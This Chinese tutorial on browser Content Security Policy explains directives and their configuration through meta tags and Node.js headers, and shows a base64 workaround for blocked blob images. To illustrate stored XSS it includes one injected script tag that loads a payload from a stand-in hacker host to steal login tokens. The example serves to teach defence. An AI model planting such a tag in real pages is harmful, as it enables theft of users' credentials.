CSR 内容安全策略入门

栏目: 编程工具 · 发布时间: 5年前

内容简介:最近在修复公司系统一个图片导出的功能,无法导出图片, 于是就 google 一把,这个是什么玩意?这是网站安全方面的内容了,对于网站跨域的问题错误不少见,跨域是由于同源策略导致的,只允许加载来自自身的origin 域的数据,即a.com 是不能加载来自b.com 的数据的,这样就解决大部分的安全问题,恶意代码就无法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中

最近在修复公司系统一个图片导出的功能,无法导出图片

CSR 内容安全策略入门
,拒绝加载图片 blob:http://xxxx ,违反 Content Security Policy

, 于是就 google 一把,这个是什么玩意?

Content Security Policy

这是网站安全方面的内容了,对于网站跨域的问题错误不少见,跨域是由于同源策略导致的,只允许加载来自自身的origin 域的数据,即a.com 是不能加载来自b.com 的数据的,这样就解决大部分的安全问题,恶意代码就无法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入

<script src="http://www.hacker.org/xss.payload.js"></script>
复制代码

,xss.payload.js可以获取老浏览用户的信息,如的登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。

看看 MDN Content Security Policy 的解释:

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

原理

CSP 通过告诉浏览器一系列的规则,严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝,这样一来,从源头上杜绝了不可信的xss payload。

规则

无论是在 <meta> 标签还是在 header 中指定,其值的格式是统一的,都由一系列的指令组成的。

Content-Security-Policy: <policy-directive>; <policy-directive>
复制代码

这里的指令是CSP 规定中用以详细描述某种资源的判断,比如前面的错误图片中, img-src 指定图片,下面列出一些常用的指令

  • child-src:为web workers和其他内嵌浏览器内容(例如用和加载到页面的内容)定义合法的源地址。
  • connect-src:限制能通过脚本接口加载的UR
  • default-src:为其他取指令提供备用服务fetch directives。
  • font-src:设置允许通过@font-face加载的字体源地址。
  • img-src: 限制图片和图标的源地址
  • frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址
  • 限制application manifest文件的源地址。
  • object-src:限制、、标签的源地址。
  • media-src:限制通过
  • prefetch-src :指定预加载或预渲染的允许源地址。
  • script-src:限制JavaScript的源地址。
  • style-src:限制层叠样式表文件源。
  • worker-src:限制Worker、SharedWorker或者ServiceWorker脚本源。
  • 更多指令,见MDN

    指令可接受的值

    指令后面跟的来源,有两种写法:

    • 预设值
    • URI 通配符

    预设值

    • none 不匹配任何东西。
    • self 匹配当前域,但不包括子域。比如 example.com 可以,api.example.com 则会匹配失败。
    • unsafe-inline 允许内嵌的脚本及样式。
    • unsafe-eval 允许通过字符串动态创建的脚本执行,比如 eval,setTimeout 等

    URI

    除了上面配置的预设值,还可以通过提供完整的URI或带通配符 * 的地址来匹配,以指定资源的合法来源,跟配置跨域的相应头一致,参考Same-origin_policy

    • :// .example.com:* 会匹配所有 example.com 的子域名,但不包括 example.com。
    • example.com 和www.example.com 是两个不同的 URI。
    • example.com:80 和example.com 也是是两个不同的 URI,虽然网站默认端口就是 80

    实现途径

    默认情况下,如果站点未指定 CSP 规则,浏览器不会默认开启,只受同源策略的影响。

    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta http-equiv="X-UA-Compatible" content="ie=edge" />
        <title>CSP 安全策略</title>
        <style>
          h1 {
            color: cornflowerblue;
          }
        </style>
      </head>
      <body>
        <h1>Hello CSP !</h1>
        <script>
          window.onload = () => alert("Hi, Jecyu");
        </script>
      </body>
    </html>
    
    复制代码
    CSR 内容安全策略入门

    HTML 中添加 标签来指定 Content-Security-Policy 规则

    <head>
        ...
         <meta http-equiv="Content-security-Policy" content="default-src 'self'" />
       ...
      </head>
       
    复制代码

    效果:

    CSR 内容安全策略入门

    配置站点默认只信息同域的资源,但注意,这个设置并不包含内联的情况,所以结果会如上图。如何修复它呢。如果我们想要允许页面内的内联脚本或样式,则可以通过添加 unsafe-inline 指令值来修复。

    <meta  http-equiv="Content-security-Policy"  content="default-src 'self' 'unsafe-inline'"
        />
    复制代码

    default-src,如果指定了它的值,则相当于改变了这些未指定的指令的默认值。可以理解为,上面 style-src 如果没指定,本来其默认值是 *,可以加载所有来源的样式,但设置 default-src 后,默认值就成了 default-src 指定的值。

    服务器添加 Content-Security-Policy 响应头来指定规则

    这里使用 node.js

    const http = require("http");
    const fs = require("fs");
    const PORT = 8088;
    const path = require("path");
    console.log();
    // 创建一个 http 服务
    const server = http.createServer((request, response) => {
      response.setHeader("Content-Type", "text/html;charset='utf-8'");
      response.setHeader("Access-Control-Allow-Origin", "*");
      response.setHeader(
        "Content-security-Policy",
        "default-src 'self' 'unsafe-inline'"
      );
      // 读文件
      fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) {
        if (err) {
          console.log(`index.html loading is failed` + err);
        } else {
          // 返回 HTML 页面
          response.end(data);
        }
      });
    });
    
    // 启动服务,监听端口
    server.listen(PORT, () => {
      console.log("服务启动成功,正在监听: ", PORT);
    });
    
    复制代码
    CSR 内容安全策略入门

    优先级

    • 对于设置了多次响应头的情况,最严格的规则会生效(无论是在 中,还是 header 中)
    • 同一指令多次指定,以第一个为准,后续的会被忽略。

    解决图片导出的问题

    看看了请求首页的请求响应参数,如下:

    CSR 内容安全策略入门

    通过前面的学习后,得知可以通过HTML或者Header进行对 CSP 规则的设置,从而避开限制。这里并没有设置 img-src ,由于设置 default-src 'self' data: *; ,因此图片只能加载同域的图片,因此 img-src 不允许 blob 的数据,来自 content-security-policy.com/

    CSR 内容安全策略入门

    因此只好在动态设置图片src的时候,先把blob 转为 base64 形式,这样就符合了 CSR 的设置规则了,图片就可以添加到 HTML中了。

    var base64data = "";
       xhr.onload = function() {
              img = new Image();
              var reader = new window.FileReader();
              reader.readAsDataURL(this.response);
              reader.onloadend = function() {
                base64data = reader.result;
                img.src = base64data;
              };
              img.addEventListener(
                "load",
                function() {
                  deferred.resolve(img);
                  URL.revokeObjectURL(_url);
                },
                false
              );
              img.addEventListener("error", function(errorEvent) {
                deferred.resolve({
                  error: errorEvent,
                  image: img
                });
                URL.revokeObjectURL(_url);
              });
            };
            xhr.onerror = function() {
              var img = new Image();
              deferred.resolve(img);
            };
            xhr.open("GET", url, true);
            xhr.responseType = "blob";
            xhr.send();
          }
    复制代码

    浏览器兼容性

    (全文完)

    进一步阅读


    以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

    查看所有标签

    猜你喜欢:

    本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

    轻量级Django

    轻量级Django

    茱莉亚·埃尔曼 (Julia Elman)、马克·拉温 (Mark Lavin) / 侯荣涛、吴磊 / 中国电力出版社; 第1版 / 2016-11-1 / 35.6

    自Django 创建以来,各种各样的开源社区已经构建了很多Web 框架,比如JavaScript 社区创建的Angular.js 、Ember.js 和Backbone.js 之类面向前端的Web 框架,它们是现代Web 开发中的先驱。Django 从哪里入手来适应这些框架呢?我们如何将客户端MVC 框架整合成为当前的Django 基础架构? 本书讲述如何利用Django 强大的“自支持”功......一起来看看 《轻量级Django》 这本书的介绍吧!

    XML 在线格式化
    XML 在线格式化

    在线 XML 格式化压缩工具

    HEX CMYK 转换工具
    HEX CMYK 转换工具

    HEX CMYK 互转工具

    HEX HSV 转换工具
    HEX HSV 转换工具

    HEX HSV 互换工具